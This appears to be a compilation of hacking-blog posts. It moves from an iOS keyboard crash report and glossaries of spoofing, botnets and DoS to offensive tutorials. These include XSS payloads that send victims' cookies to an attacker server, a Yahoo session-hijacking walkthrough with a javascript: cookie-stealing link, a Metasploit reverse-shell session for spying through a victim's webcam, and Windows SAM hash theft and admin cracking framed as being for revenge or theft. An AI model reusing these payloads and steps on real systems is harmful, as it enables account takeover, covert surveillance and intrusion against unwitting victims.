Buffer over flow Vulnerability in iOS 9.3.1 below versions

          
                 I tried to find a bug in iOS 9.2. in all platforms like ipod, iphone, ipad.  After few tries i found an buffer over flow bug which is causes to boot loop in iphone and the bug will effects from the processor with the help of keyboard. The keyboard will not work when we are trying to text any thing in text message or any other app and even we can't access the lock-screen to unlock the phone. This will effects from the processor. So, these all will effects occurs. And that boot loop also never stops until decrease the total power in iphone.

             While am testing first am open the notepad. And i write the characters (emotions symbols) with the use of emoji keyboard. While writing that characters after some long it goes normal and keys also working properly on keyboard. But when i tried to write more and also when i try to copied all that entire characters. The processor is not handling that string which i loaded into processor with the help of copy option. That string will be handled by processor to copy the information to some other area. So, that time the bug is occurring then that bug is starting the boot loop. And i tried  in many ways to test that with the security lock also. While trying to touch any key to unlock the phone then again its restarting the OS. ( It continuously occurring like as a loop.) 

       And  also when i tried without security lock also. At that time when i am using any app with the help of keyboard again the bug is starting the boot loop. So, this buffer over flow starting from the keyboard which handles by the processor from the kernel level memory. So, i tested all the apps which are enable with the keyboard. When am trying to open any kind of app which are having the keyboard as input. This bug will be occurring. ex: messaging, face time, notes, search bar, reminders, mail, even while dialling in the phone and other private apps too(whatsapp, viber, skype, etc). This buffer overflow effecting from the keyboard and processor from kernel level memory laayout.  The processor can't handles the heavy characters which are having 20,000 to 20,500 characters in the size of (40kb or 80kb) even. you can check the P0C.

               So, i reported to the apple security team with proof-of-concept. they patched that vulnerability recently with the new update ios version 9.3.2 on all platforms. they mentioned my name in security announces and  in updates details also with the CVE-ID CVE-ID 2016-1790.

you can check on Apple security SECURITY CHECK LIST

Proof-of-Concept:

                        

 

thank you guys and security researchers. 

what is Spoof

In general, the term spoof refers to hacking or deception that imitates another person, software program, hardware device, or computer, with the intentions of bypassing security measures. One of the most commonly known spoofing is IP spoofing.

IP spoofing

A method of bypassing security measures on a network or a method of gaining access to a network by imitating a different IP address. Some security systems have a method of helping to identifying a user by his or her IP address or IP address range. If the attacker spoofs their IP address to match this criteria it may help bypass security measures. This technique is also used to deceive a web page, poll, or other Internet contest into thinking the user is someone else allowing him or her to get more hits or falsely increase a votes rank.

E-mail or address spoofing

Process of faking a senders e-mail address. This form of spoofing is used to fool the recipient of the e-mail into thinking someone else sent them the message. This is commonly used to bypass spam filters or to trick the user into thinking the e-mail is safe when in reality it contains an attachment that is infected with a virus or spam.

• Getting bounce back e-mails from addresses I don't know.

Phone number spoofing

Anyone can fake the number or area code of from where they are calling. This type of spoofing is done by telemarkers to hide their true identity and by hackers to gain access to unprotected phone voicemail messages.

Web page spoof

A fake web page or spoof on another commonly visited page. For example a malicious user may create a spoof page of Microsoft's, eBay, PayPal or Google's home page that looks identical but is hosted on a different server. These pages are commonly used in phishing e-mails to extract information from the user such as usernames and passwords or to send malicious files to them. Web page spoofing may also be done through IP cloaking.

SmS Spoof

SMS Mafia

SmsMafia is a web texting application.
This Service Is Completely Anonymous.Your Mobile No. Will Not Be Shown Anywhere.

go to SmS mafia

SMS Global
Send fake sms from this website..
Make sign up and u will get 25 sms as trial..

GO to smsglobal

Am I Hacker Proof Android tool

Am I Hacker Proof scans your network, computer or website from the outside as a hacker would, looking for vulnerabilities. Once it finds the vulnerabilities, it will email or text you
 letting you know how many vulnerabilities you have. In addition, in the paid version you can check to see if your voicemail on your cell phone is hacker proof.

This App does not use any resources on your phone. Once you start a scan you will be
notified via email or text your scan started. When your scan is completed you will be notified again that your scan is complete.

Am I Hacker Proof includes these services for free:
- Choose from three types of scans: A “Quick” scan (up to four hours), a “Complete” scan
 (can take up to four days to complete), and a Web site scan (searches for vulnerabilities in certain types of Web sites; currently supports WordPress Web sites).

- You can perform a scan on any Web or IP address.

- You can scan up to 10 times a month.

- Built- in tools – Ping, Traceroute, Whois, ISP/E-mail Service Providers database and real
 time cyber security news feeds.
- Your reports are saved in a PDF file that you can read on your device or forward to any email address you like.

- Your account on your device works on the website www.AmIHackerProof.com so you can have access to more applications.

-> Voicemail Hacking.

- Built-in tools – Ping, Traceroute, Whois, ISP/E-mail Service Providers database and real time cyber security news feeds.

- Search through the scans you performed by address, time, number of vulnerabilities, or status.

- You get an email and text message letting you know the number of vulnerabilities found on that IP address or website.

Download 

Botnets

---

A botnet or robot network is a group of computers running a computer application controlled and manipulated only by the owner or the software source. The botnet may refer to a legitimate network of several computers that share program processing amongst them.

Usually though, when people talk about botnets, they are talking about a group of computers infected with the malicious kind of robot software, the bots, which present a security threat to the computer owner. Once the robot software (also known as malicious software or malware) has been successfully installed in a computer, this computer becomes a zombie or a drone, unable to resist the commands of the bot commander.

A botnet may be small or large depending on the complexity and sophistication of the bots used. A large botnet may be composed of ten thousand individual zombies. A small botnet, on the other hand may be composed of only a thousand drones. Usually, the owners of the zombie computers do not know that their computers and their computers’ resources are being remotely controlled and exploited by an individual or a group of malware runners through Internet Relay Chat (IRC)

There are various types of malicious bots that have already infected and are continuing to infect the internet. Some bots have their own spreaders – the script that lets them infect other computers (this is the reason why some people dub botnets as computer viruses) – while some smaller types of bots do not have such capabilities.

Different Types of Bots

Here is a list of the most used bots in the internet today, their features and command set.

XtremBot, Agobot, Forbot, Phatbot

These are currently the best known bots with more than 500 versions in the internet today. The bot is written using C++ with cross platform capabilities as a compiler and GPL as the source code. These bots can range from the fairly simple to highly abstract module-based designs. Because of its modular approach, adding commands or scanners to increase its efficiency in taking advantage of vulnerabilities is fairly easy. It can use libpcap packet sniffing library, NTFS ADS and PCRE. Agobot is quite distinct in that it is the only bot that makes use of other control protocols besides IRC.

UrXBot, SDBot, UrBot and RBot

Like the previous type of bot, these bots are published under GPL, but unlike the above mentioned bots these bots are less abstract in design and written in rudimentary C compiler language. Although its implementation is less varied and its design less sohisticated, these type of bots are well known and widely used in the internet.

GT-Bots and mIRC based bots
These bots have many versions in the internet mainly because mIRC is one of the most used IRC client for windows. GT stands for global threat and is the common name for bots scripted using mIRC. GT-bots make use of the mIRC chat client to launch a set of binaries (mainly DLLs) and scripts; their scripts often have the file extensions .mrc.
Malicious Uses of Botnets

Types Of Botnet Attack

Denial of Service Attacks
A botnet can be used as a distributed denial of service weapon. A botnet attacks a network or a computer system for the purpose of disrupting service through the loss of connectivity or consumption of the victim network’s bandwidth and overloading of the resources of the victim’s computer system. Botnet attacks are also used to damage or take down a competitor’s website.

Fast flux is a DNS technique used by botnets to hide phishing and malware delivery sites behind an ever-changing network of compromised hosts acting as proxies.
Any Internet service can be a target by botnets. This can be done through flooding the website with recursive HTTP or bulletin-board search queries. This mode of attack in which higher level protocols are utilized to increase the effects of an attack is also termed as spidering.

Spyware Its a software which sends information to its creators about a user's activities – typically passwords, credit card numbers and other information that can be sold on the black market. Compromised machines that are located within a corporate network can be worth more to the bot herder, as they can often gain access to confidential information held within that company. There have been several targeted attacks on large corporations with the aim of stealing sensitive information, one such example is the Aurora botnet.

AdwareIts exists to advertise some commercial entity actively and without the user's permission or awareness, for example by replacing banner ads on web pages with those of another content provider.

Spamming and Traffic Monitoring
A botnet can also be used to take advantage of an infected computer’s TCP/IP’s SOCKS proxy protocol for networking appications. After compromising a computer, the botnet commander can use the infected unit (a zombie) in conjunction with other zombies in his botnet (robot network) to harvest email addresses or to send massive amounts of spam or phishing mails.

Moreover, a bot can also function as a packet sniffer to find and intercept sensitive data passing through an infected machine. Typical data that these bots look out for are usernames and passwords which the botnet commander can use for his personal gain. Data about a competitor botnet installed in the same unit is also mined so the botnet commander can hijack this other botnet.

Access number replacements are where the botnet operator replaces the access numbers of a group of dial-up bots to that of a victim's phone number. Given enough bots partake in this attack, the victim is consistently bombarded with phone calls attempting to connect to the internet. Having very little to defend against this attack, most are forced into changing their phone numbers (land line, cell phone, etc.).

Keylogging and Mass Identity Theft
An encryption software within the victims’ units can deter most bots from harvesting any real information. Unfortunately, some bots have adapted to this by installing a keylogger program in the infected machines. With a keylogger program, the bot owner can use a filtering program to gather only the key sequence typed before or after interesting keywords like PayPal or Yahoo mail. This is one of the reasons behind the massive PayPal accounts theft for the past several years.

Bots can also be used as agents for mass identity theft. It does this through phishing or pretending to be a legitimate company in order to convince the user to submit personal information and passwords. A link in these phishing mails can also lead to fake PayPal, eBay or other websites to trick the user into typing in the username and password.

Botnet Spread
Botnets can also be used to spread other botnets in the network. It does this by convincing the user to download after which the program is executed through FTP, HTTP or email.

Pay-Per-Click Systems Abuse
Botnets can be used for financial gain by automating clicks on a pay-per-click system. Compromised units can be used to click automatically on a site upon activation of a browser. For this reason, botnets are also used to earn money from Google’s Adsense and other affiliate programs by using zombies to artificially increase the click counter of an advertisement.

Turn USB To Malware Installer

DOS Attacks

Denial of service (DOS) attack, a type of attack on a network that is designed to bring the network to its knees by flooding it with useless traffic. Many DoS attacks, such as the Ping of Death and Teardrop attacks, exploit limitations in the TCP/IP protocols.

Types:
Teardrop attack is type of attack where fragmented packets are forged to overlap each other when the receiving host tries to reassemble them.

Ping of death type of DoS attack in which the attacker sends a ping request that is larger than 65,536 bytes, which is the maximum size that IP allows. While a ping larger than 65,536 bytes is too large to fit in one packet that can be transmitted, TCP/IP allows a packet to be fragmented, essentially splitting the packet into smaller segments that are eventually reassembled. Attacks took advantage of this flaw by fragmenting packets that when received would total more than the allowed number of bytes and would effectively cause a buffer overload on the operating system at the receiving end, crashing the system. Ping of death attacks are rare today as most operating systems have been fixed to prevent this type of attack from occurring.  
DDOS Attack: A distributed denial of service attack (DDoS) occurs when multiple systems flood the bandwidth or resources of a targeted system, usually one or more web servers. This is the result of multiple compromised systems (for example a botnet) flooding the targeted system(s) with traffic. When a server is overloaded with connections, new connections can no longer be accepted.

Peer to Peer Attack Attackers have found a way to exploit a number of bugs in peer-to-peer servers to initiate DDoS attacks. Peer-to-peer attacks are different from regular botnet-based attacks. With peer-to-peer there is no botnet and the attacker does not have to communicate with the clients it subverts. Instead, the attacker acts as a "puppet master," instructing clients of large peer-to-peer file sharing hubs to disconnect from their peer-to-peer network and to connect to the victim's website instead. As a result, several thousand computers may aggressively try to connect to a target website. While peer-to-peer attacks are easy to identify with signatures, the large number of IP addresses that need to be blocked (often over 250,000 during the course of a large-scale attack) means that this type of attack can overwhelm mitigation defenses.

For all known DOS attacks, there are software fixes that system administrators can install to limit the damage caused by the attacks.

How to Deface a Website using XSS ?

How to Deface a Website using XSS ?
Well now you understand how XSS works, we can explain some simple XSS deface
methods, there are many ways for defacing i will mention some of the best and most used,
the first one being IMG SCR, now for those of you who dont know html, IMG SCR
is a tag, that displays the IMAGE linked to it on the webpage.

<html><body><IMG SRC="http://website.com/yourDefaceIMAGE.png"></body></html>

ok now if you change the link to a valid picture link, and save it and run it you will see what i mean. Right now say you have found a Shoutbox, Comment box, or anything
that shows your data after you submitted it you could insert the following to make the picture display on the page.

<IMG SRC="http://site.com/yourDefaceIMAGE.png">

The other tags are not needed has the page will already have them. Ok it helps to
make your picture big so it stands out and its clear the site got hacked. Another method is using FLASH videos, its the same has the method below but a more stylish deface.

<EMBED SRC="http://site.com/xss.swf"

That will execute the flash video linked to it. Or maybe using a pop or redirection as :
<script>window.open( "http://www.hackersonlineclub.tk/" )</script>

There are many others ways that you can found using Google or other website.
Mine purpose is to make you understand the concept :)

How to Cookie Stealing using XSS ?
I decided to add this has its the most usefull method of XSS. First learn how to make
cookie logger from here:

How To Make A Cookie Stealer Php script ?

ok now you have it save it has a .php file and upload to your server, remember to
create the file 'log.txt' too
and chmod it to 777, ok now find a XSS vulnerable website, any attack type will do.
ok now your gonna want to insert this code.

window.location = "http://yourServer.com/cookielogger.php?c="+document.cookie
or
document.location = "http://yourServer.com/cookielogger.php?c="+document.cookie

now when user visits the page that got injected too, they will be sent to the site, and cookie will be stolen
the second one is more stealth. Watch your file now for cookies, then you can hijack there session :D

but now you ask what if my site has not got, this kind of attack, it only shows data once and dont store it. Well lets say we had a page search.php?q= we can use the following code to make a maliouc url from it and maybe hex, base64 encode it so people cant see the code

http://site.com/search.php?q=document.location = "http://yourServer.com/cookielogger.php?c="+document.cookie

How to Find XSS Vulnerabilities:-

How to Find XSS Vulnerabilities:-

To start finding these Vulnerabilities you can start checking out Blogs, Forums, Shoutboxes, Comment Boxes, Search Box's, there are too many to mention.

Using 'Google Dorks' to make the finding easyier, Ok if you wanna get cracking, goto google.com and type inurl:"search.php?q=" now that is a common page and has alot
of results. Also note that most sites have XSS Vulnerabilities, its just having a good
eye, and some good knowledge on how to bypass there filteration.

Basics of XSS:
Well now lets start learning some Actual Methods, the most common used XSS
injection is :

<script>alert("Priyanshu")</script>

now this will alert a popup message, saying "Priyanshu" without quotes.

So,use "search.php?q=" and you can simple try the following on a website with the
 same thing,

http://website.com/search.php?q=<script>alert("Priyanshu")</script>

There are good chances of it working, but dont be worried if it dont, just try diffrent sites. You can insert HTML not just javascript :

http://website.com/search.php?q=<br><br><b><u>Priyanshu</u></b>

if you see the bold text on the page and newlines then you knows its vulnerable.

Example:

Hack Webcam

---

Our real purpose is to show just how easy it is, so you will take better awareness that it can be done, and  take security yourself.

Open Metasploit and run following commands:

msf>  show exploits


msf>use windows/browser/adobe_cooltype_sing


msf exploit(adobe_cooltype_sing)> set payload windows/meterpreter/reverse_tcp
payload=> windows/meterpreter/reverse_tcp


msf  exploit(adobe_cooltype_sing) > show options


Module options (exploit/windows/browser/adobe_cooltype_sing):


   Name                Current Setting       Required           Description
   ----                     ---------------               --------               -----------
   SRVHOST            0.0.0.0                   yes              The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT             8080                      yes              The local port to listen on.
   SSL                         false                         no                Negotiate SSL for incoming connections
   SSLCert                                                   no               Path to a custom SSL certificate (default is randomly generated)
   SSLVersion         SSL3                        no               Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
   URIPATH                                              no               The URI to use for this exploit (default is random)



Payload options (windows/meterpreter/reverse_tcp):


   Name                  Current            Setting         Required  Description
   ----                    ---------------       --------              -----------
   EXITFUNC        process             yes               Exit technique: seh, thread, process, none
   LHOST                                             yes                The listen address
   LPORT                 4444                 yes               The listen port



Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf  exploit(adobe_cooltype_sing) > set SRVHOST 192.168.0.58
SRVHOST => 192.168.0.58
msf  exploit(adobe_cooltype_sing) > set SRVPORT 80
SRVPORT => 80
msf  exploit(adobe_cooltype_sing) > set uripath /
uripath => /
msf  exploit(adobe_cooltype_sing) > set uripath /
uripath => /
msf  exploit(adobe_cooltype_sing) >exploit -j


Let the victim open your IP in his/her browser and when it will be opened, you will get 1 meterpreter session.


msf  exploit(adobe_cooltype_sing) > session -i 1


meterpreter> run webcam


and you will get the webcam of victim. :)

MAC Address (Media Access Control)

---

MAC (Media Access Control) addresses are permanent by design, several mechanisms allow modification, or "spoofing", of the MAC address that is reported by the operating system. This can be useful for privacy reasons, for instance when connecting to a Wi-Fi hotspot, or to ensure interoperability. Some internet service providers bind their service to a specific MAC address; if the user then changes their network card or intends to install a router, the service won't work anymore. Changing the MAC address of the new interface will solve the problem. Similarly, some software licenses are bound to a specific MAC address. Changing the MAC address in this way is not permanent: after a reboot, it will revert to the MAC address physically stored in the card. A MAC address is 48 bits in length.

A MAC address is a physical hardware address assigned to each device that has the capability of connecting to a network. The internet is nothing more than a large network. The MAC address is something that is assigned in the chip on the device and is not something the user can change.

As a MAC address can be changed, it can be unwise to rely on this as a single method of authentication. IEEE 802.1x is an emerging standard better suited to authenticating devices at a low level.

Types of MAC address:
Unicast address : An address for a specific computer.
Multicast address : An address for a specific group of computers in
network.
Broadcast address : An address for all computers in network.

---

HOw Can U Change MAC Address:

Windows

Under Windows XP, the MAC address can be changed in the Ethernet adapter's Properties menu, in the Advanced tab, as "MAC Address", "Locally Administered Address", "Ethernet Address" or "Network Address". The exact name depends on the Ethernet driver used; not all drivers support changing the MAC address in this way.

However, a better solution - requiring Administrative User Rights - is to pass over the System Registry Keys under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}. Here settings for each network interface can be found. The contents of the string value called 'NetworkAddress' will be used to set the MAC address of the adapter when next it is enabled. Resetting the adapter can be accomplished in script with the freely available command line utility devcon from Microsoft, or from the adapters context menu in the Network Connections control panel applet.

There is a nice tool to change the MAC address for all cards (even those that can't be changed through the adapter's Properties menu): SMAC MAC Address Changer

Note: to check your MAC address easily on a Windows XP box, go to Run, type CMD, then type "ipconfig /all" without quotation in the command prompt. The number under physical address is the MAC address. If multiple IP are displayed, you should look under the label "Ethernet adapter x", where x is the name of your connection (which is Local Area Connection by default).

Windows

Under Windows XP, the MAC address can be changed in the Ethernet adapter's Properties menu, in the Advanced tab, as "MAC Address", "Locally Administered Address", "Ethernet Address" or "Network Address". The exact name depends on the Ethernet driver used; not all drivers support changing the MAC address in this way.

However, a better solution - requiring Administrative User Rights - is to pass over the System Registry Keys under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}. Here settings for each network interface can be found. The contents of the string value called 'NetworkAddress' will be used to set the MAC address of the adapter when next it is enabled. Resetting the adapter can be accomplished in script with the freely available command line utility devcon from Microsoft, or from the adapters context menu in the Network Connections control panel applet.

There is a nice tool to change the MAC address for all cards (even those that can't be changed through the adapter's Properties menu): SMAC MAC Address Changer

Note: to check your MAC address easily on a Windows XP box, go to Run, type CMD, then type "ipconfig /all" without quotation in the command prompt. The number under physical address is the MAC address. If multiple IP are displayed, you should look under the label "Ethernet adapter x", where x is the name of your connection (which is Local Area Connection by default).

Router

The method to change the MAC address of a router varies with the router. Not all routers have the ability to change their MAC address. The feature is often referred to as "clone MAC address". This take the MAC address of one of the machine on your network and replaces the router's existing MAC address with it. Some support the option to manually enter the MAC address.

How to change a MAC address in Linux

To change your MAC address in Linux (and most *nix system) is easy. All it takes is two easy to script commands:

    ifconfig eth0 down hw ether 00:00:00:00:00:01

    ifconfig eth0 up

These two little commands would set your eth0 interface to use the MAC 00:00:00:00:00:01. Just plug in the NIC you want to set and the MAC address you want to use into the commands above and your done. Changing your MAC address is one of those things that is much easier to do in Linux then under Windows.

Exploits

A tool developed by hackers that is used to perform malicious attacks on computer systems. They are usually scripts that are designed to exploit weaknessness in software over a network, most commonly the Internet. Zero-Day is a common type of exploit.

Zero-Day Exploits
Called either Day Zero or Zero-Day, it is an exploit that takes advantage of a security vulnerability on the same day that the vulnerability becomes publicly or generally known. Zero-Day exploits are usually posted by well-known hacker groups. Software companies may issue a security bulletin or advisory when the exploit becomes known, but companies may not be able to offer a patch to fix the vulnerability for some time after.

An exploit (from the same word in the French language, meaning "achievement", or "accomplishment") is a piece of software, a chunk of data, or sequence of commands that takes advantage of a bug, glitch or vulnerability in order to cause unintended or unanticipated behavior to occur on computer software, hardware, or something electronic (usually computerised). This frequently includes such things as gaining control of a computer system or allowing privilege escalation or a denial of service attack.

There are several methods of classifying exploits. The most common is by how the exploit contacts the vulnerable software. A 'remote exploit' works over a network and exploits the security vulnerability without any prior access to the vulnerable system. A 'local exploit' requires prior access to the vulnerable system and usually increases the privileges of the person running the exploit past those granted by the system administrator. Exploits against client applications also exist, usually consisting of modified servers that send an exploit if accessed with client application. Exploits against client applications may also require some interaction with the user and thus may be used in combination with social engineering method. This is the hacker way of getting into computers and websites for stealing data.

In computing, an exploit is an attack on a computer system, especially one that takes advantage of a particular vulnerability that the system offers to intruders. Used as a verb, the term refers to the act of successfully making such an attack.

In Exploit another classification is by the action against vulnerable system: unauthorized data access, arbitrary code execution, denial of service.

Many crackers (or hackers, if you prefer that term) take pride in keeping tabs of such exploits and post their exploits (and discovered vulnerabilities) on a Web site to share with others.

Where an exploit takes advantage of a weakness in an operating system or vended application program, the owners of the system or application issue a "fix" or patch in response. Users of the system or application are responsible for obtaining the patch, which can usually be downloaded from the Web. Failure to install a patch for a given problem exposes the user to a security breach. (However, it can be difficult to keep up with all the required patches.)

Many exploits are designed to provide superuser-level access to a computer system. However, it is also possible to use several exploits, first to gain low-level access, then to escalate privileges repeatedly until one reaches root.

Normally a single exploit can only take advantage of a specific software vulnerability. Often, when an exploit is published, the vulnerability is fixed through a patch and the exploit becomes obsolete for newer versions of the software. This is the reason why some blackhat hackers do not publish their exploits but keep them private to themselves or other crackers. Such exploits are referred to as 'zero day exploits' and to obtain access to such exploits is the primary desire of unskilled attackers, often nicknamed script kiddies.

Script Kiddie

A person, normally someone who is not technologically sophisticated, who randomly seeks out a specific weakness over the Internet in order to gain root access to a system without really understanding what it is s/he is exploiting because the weakness was discovered by someone else. A script kiddie is not looking to target specific information or a specific company but rather uses knowledge of a vulnerability to scan the entire Internet for a victim that possesses that vulnerability.

The vast majority of the "hacker" underground is made up of people who have only been using computers for a few years and who really know comparatively little about them. These are people, usually kids, who are attracted by the seemingly magical powers that hacking gives them. Since they know so little about computers, they don't really known how to hack themselves but instead follow recipes or "scripts" developed by real hackers. Most of these scripts are easy-to-use programs whereby the "script-kiddy" simply enters the IP address of the victim.

One of the distinguishing features of script-kiddies is that they must have a lot of patience. Because security holes are quickly found and repaired, most systems will resist most attacks. Therefore, if the script-kiddy is targeting a single system, they have to find a lot of scripts to try against the system before they find one that works. More commonly, the script-kiddies downloads one of the most recently developed scripts and proceeds to run it against targets all throughout the Internet until they find someone who is vulnerable to that specific script.

You can get update exploits from www.1337day.com

Email Hacking

Do U Think If Your Email Can Not Been Hackable, Then You Are Wrong...
Ur Email-ID Can Be Hack... But Its Can Be Hack Only Fault by User.. Most Of The Peoples Think That Their Has A Software to Hack A Email- ID's But Truth Is Their Is No Software Present For Hacking Ur Mail ID's..

Email Hacking can be possible to many ways like:-
 
1. Social Engineering

2.Phishing Attacks

3. Cookie Hijacking

4. By Keyloggers


Social Engineering:
This Process is defined as Hack the human mind without any tools...
This has become one of the hottest topics today and it seems to work out most of the times. Social Engineering doesn’t deal with the network security issues, vulnerabilities, exploits, etc. It just deals with simple Psychological tricks that help to get the information we want.
This really works!! But it requires a lot of patience.
We are all talking about network security and fixing the vulnerabilities in networks.
 But what happens if some internal person of a network accidentally gives out the passwords. After all we are all humans; we are also vulnerable and can be easily
 exploited and compromised than the computers.
Social Engineering attacks have become most common during the chat sessions.
With the increase in use of Instant Messengers, any anonymous person may have a
chat with another any where in the world. The most crucial part of this attack is to
win the trust of the victim.

Phishing Attack:
The act of sending an e-mail to a user falsely claiming to be an established legitimate enterprise in an attempt to scam the user into surroundering private information that will be used for identity theft. The e-mail directs the user to visit a Web site where they are asked to update personal information, such as passwords and credit card, social security, and bank account numbers, that the legitimate organization already has. The Web site, however, is bogus and set up only to steal the user’s information.

Cookie Hijacking:
In cookie hijacking we can hack email accounts very easily.. This trick is very
 dangereous because whenever user change a password then there is no need to
 attacker for again hack Email- ID of victim. And it would take you to inbox of victim's yahoo account without asking for any password of victim account.

Keyloggers:
Keylogger is a software program or hardware device that is used to monitor and log
each of the keys a user types into a computer keyboard. The user who installed the program or hardware device can then view all keys typed in by that user. Because
these programs and hardware devices monitor the keys typed in a user can easily
find user passwords and other information a user may not wish others to know about.
Keyloggers, as a surveillance tool, are often used by employers to ensure employees
 use work computers for business purposes only. Unfortunately, keyloggers can also
 be embedded in spyware allowing your information to be transmitted to an unknown third party.

Cookie Hijacking:

U Can Hack Yahoo Account by Cookies Stealing or Hijacking From Browser.
Follow Steps and Learn it.
This is very Simple Tutorial and 100% Tested..!!..

Step 1: Download the Script on given link
http://www.multiupload.com/9Q3EPTOO47

Step:2 Download and extract files into your hard drive.
Step:3 Create a account in any ftp hosting site i suggested www.t35.com
Step4: Login to your account and upload 4 files into your ftp account.

Step5: Give this  code to victim to run in his browser when he would be logged in to his yahoo account. Yahoo.php is basically cookie stealing script and hacked.php executes the stolen cookies in browser.
Stolen cookies get stored in directory 'cookies'

javascript:document.location='http://yourdomain.com/yahoo.php?ex='.concat(escape(document.cookie));

He would again redirected to his yahoo account.

Step6. Open the hacked.php . The password is 'hoc'.

You must have got the username of victim's account. Simply Click on it and it would take you to inbox of victim's yahoo account without asking for any password of victim account.

Hack Windows Admin

Today, i am going to show you many aspects of the Windows Password Storage path, Method of Encryption, and breaking into Windows by cracking the admin password. We need this often for many reasons:
1) Sometime we have forgotten our old password and Hint isn't helping out.
2) We want to break into someone computer to get the information.
3) Just want to take revenge from someone.
4) Stealing computer data.

Lets, take a deep dive in Cracking Windows password and also where these are stored and in which format.

SAM file and Password Hashes~Place where these passwords are stored in Hashes:
Password Hashes - When you type your password into a Windows NT, 2000, or XP login Windows Seven, Vista etc Windows encrypts your password using a specific encryption scheme that turns your password into something that looks like this:

                    7524248b4d2c9a9eadd3b435c51404eddc5

This is a password Hash. This is what is actually being checked against when you type your password in. It encrypts what you typed and bounces it against what is stored in the Registry and/or SAM File. 

You can break this hash password from

www.md5hash.com

www.passcracking.ru

SAM File - Holds the user names and password hashes for every account on the local machine, or domain if it is a domain controller.

Location of SAM/Hashes:
You can find what you're looking for in several locations on a given machine.
It can be found on the hard drive in the folder %systemroot%system32config (i-e C:\windows\system32\config). However this folder is locked to all accounts including Administrator while the machine is running. The only account that can access the SAM file during operation is the "System" account.

The second location of the SAM or corresponding hashes can be found in the registry. It can be found under HKEY_LOCAL_MACHINESAM. This is also locked to all users, including Administrator, while the machine is in use.(GO to Run and Type Regedit and Hit enter, Now scroll to HKEY_LOCAL_MACHINESAM, However you may not access to it.)

So the two (Some other also) locations of the SAMHashes are:
- %systemroot%system32config
- In the registry under HKEY_LOCAL_MACHINESAM

Cracking or Breaking Into Admin Account:
How to get Hashes form SAM file?
Well, Below are the methods to do so:
1) Well, the easiest way to do this is to boot your target machine to an alternate OS like NTFSDOS or Linux and just copy the SAM from the %systemroot%system32config  folder.

It's quick, it's easy, and it's effective. You can get a copy of NTFSDOS from Sysinternals(http://www.sysinternals.com) The regular version of NTFSDOS is freeware, which is always nice, but only allows for Read-Only access. This should be fine for what you want to do, however, if you're the kind of person that just has to have total control and has some money to burn. NTFSDOS Pro, which is also by Sysinternals has read/write access but it'll cost you $299.

2) You can also get password hashes by using pwdump2 (Google It to get software ~ Search at openwall.com). pwdump uses .DLL injection in order to use the system account to view and get the password hashes stored in the registry. It then obtains the hashes from the registry and stores them in a handy little text file that you can then  paste them into a password cracking utility like l0phtcrack or John the ripper (Linux Based works well) also cain and abel can be used. 

3) Import Hashes directly from l0phtcrack, and let them open to you by cracking.


Obtained Hashes? Now crack them:
Well, as i have said that these can't be reversed but somehow automated famous cracking softwares can be used to achieve the target. Yes, it is possible, All we have to do is to have a bit patience. The software will use a lot of strings and will compare these hashes also, Inshort it will decode them.

1) John the Ripper - John the Ripper is to many, the old standby password cracker. It is command line which makes it nice if you're doing some scripting, and best of all it's free and in open source. The only real thing that JtR is lacking is the ability to launch Brute Force attacks against your password file. But look at it this way, even though it is only a dictionary cracker, that will probably be all you need. I would say that in my experience I can find about 85-90% of the passwords in a given file by using just a dictionary attack.

2) L0phtCrack - Probably the most wildly popular password cracker out there. L0phtCrack is sold by the folks at @Stake. And with a pricetag of $249 for a single user license it sure seems like every one owns it. This is probably the nicest password cracker you will ever see. With the ability to import hashes directly from the registry pwdump and dictionary, hybrid, and brute-force capabilities. No password should last long. Well, I shouldn't say "no password". But almost all will fall to L0phtCrack given enough time.

Making Your Own Password in Windows:
Injecting Password Hashes into the SAM:
Easiest ways to gain Administrator privileges on a machine, is by injecting your own password hashes into the SAM file. In order to do this you will need physical access to the machine and a brain larger than a peanut. Using a utility called "chntpw" by Petter Nordhal-Hagen you can inject whatever password you wish into the SAM file of any NT, 2000, or XP machine thereby giving you total control, just burn the .iso on a disk and use it. I would give a tip like backing up the SAM file first by using an alternate OS.Make a USB disk of linux or Windows Live dsik can also work. Go in, inject the password of your choosing. Login using your new password. Do what you need to do. Then restore the original SAM so that no one will know that i was hacked.

You need to have admin access to perform this change from the command line. This is an especially handy trick if you want to change a password on an account but you’ve forgotten the original (going through the Control Panel can require confirmation of the old password).

Now we hack Admin Password To verify the user name, by simply typing net user, I get a list of all the user names on that windows machine. Now, go to the command prompt and enter:

                                                                 cd\

cd windows\system32
net user  

If there are people near you and you don’t want them to see the password you type, enter:
net user *

                                                             E.g. > net user username *
                                                      > Type a password for the user:
                                                      > Confirm the password:

---

Another Easy method, Using  ophcrack to Hack into Admin Account:

Ophcrack is a Windows password cracker based on a time-memory trade-off using rainbow tables. This is a new variant of Hellman's original trade-off, with better performance. It recovers 99.9% of alphanumeric passwords in seconds.

This is a type of offline cracking, Just grab .iso of ophcrack from here. Burn it and enjoy using.
1.  Opchrack can crack passwords for Windows 7, Windows Vista, and Windows XP.
2. Ophcrack can recover 99.9% of passwords from Windows XP, usually in a matter of seconds. Any  14-character or smaller password that uses any combination of numbers, small letters, and capital letters should be crackable.
3.  Ophcrack can recover 99% of passwords from Windows 7 or Windows Vista. A dictionary attack is used in Windows 7 and Vista.
4.  The Ophcrack LiveCD option allows for completely automatic password recovery.
5.  LiveCD method requires no installation in Windows, making it a safe alternative to many other password recovery tools.
6.  No Windows passwords need to be known to use the Ophcrack LiveCD to crack your Windows passwords.

Download

I think this ophcrack method is far better, Try this one just get a disk and write it, Or else USB disk can aslo be used.

Some security Tips ~ Making strong passwords:
Now, You might have come to know that how passwords can be cracked, So there are some tips for you.
1) Do not make common passwords like 123456 or the one of your own name.
2) Use @, *, # or other symbols in your passwords to ensure maximum security in this case John the ripper and Ophcrack and also other cracking tools may take long time, it will be frustrating for hacker.
3) Keep changing your password. So, that if long time is taken by one hash to decode, until it decodes you have generated another hash.

Hack Victim Computer

How To Hack & Access Same LAN Computers ?

If you are working in Office / Colleges and want to hack your friends & college mate PC then here is a trick.

First Step press win+ R

Go to Run> Type Cmd

now type command net view

It will be look as below


C:\>net view

Server Name            Remark
-----------------------------------------------
\\xyz
\\abc


